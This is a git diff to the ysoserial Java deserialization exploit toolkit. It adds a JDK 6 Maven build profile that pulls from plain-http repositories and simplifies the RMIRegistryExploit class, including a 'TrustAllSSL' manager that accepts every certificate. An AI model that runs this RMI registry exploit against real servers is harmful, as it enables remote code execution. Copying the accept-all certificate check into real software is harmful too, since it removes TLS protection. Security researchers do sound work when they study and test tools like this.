diff --git a/pom.xml b/pom.xml index 669c6ca..ef2de19 100644 --- a/pom.xml +++ b/pom.xml @@ -311,6 +311,43 @@ + + jdk6 + + 1.6 + + + + + org.apache.maven.plugins + maven-surefire-plugin + 2.22.1 + + + + + + javax.el + javax.el-api + 3.0.0 + + + + + + repo1 + http://repo1.maven.org/maven2 + + + + + repo1 + http://repo1.maven.org/maven2 + + + + hibernate5 diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index 186c45e..a8c350c 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -9,11 +9,7 @@ import java.rmi.registry.Registry; import java.rmi.server.RMIClientSocketFactory; import java.security.cert.X509Certificate; import java.util.concurrent.Callable; -import javax.net.ssl.SSLContext; -import javax.net.ssl.SSLEngine; -import javax.net.ssl.SSLSocketFactory; -import javax.net.ssl.TrustManager; -import javax.net.ssl.X509ExtendedTrustManager; +import javax.net.ssl.*; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; @@ -30,15 +26,11 @@ import ysoserial.secmgr.ExecCheckingSecurityManager; */ @SuppressWarnings({"rawtypes", "unchecked"}) public class RMIRegistryExploit { - private static class TrustAllSSL extends X509ExtendedTrustManager { + private static class TrustAllSSL implements X509TrustManager { private static final X509Certificate[] ANY_CA = {}; public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } - public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ } - public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ } - public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ } - public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ } } private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { @@ -61,7 +53,7 @@ public class RMIRegistryExploit { Registry registry = LocateRegistry.getRegistry(host, port); final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final Class payloadClass = (Class) Class.forName(className); - + // test RMI registry connection and upgrade to SSL connection on fail try { registry.list();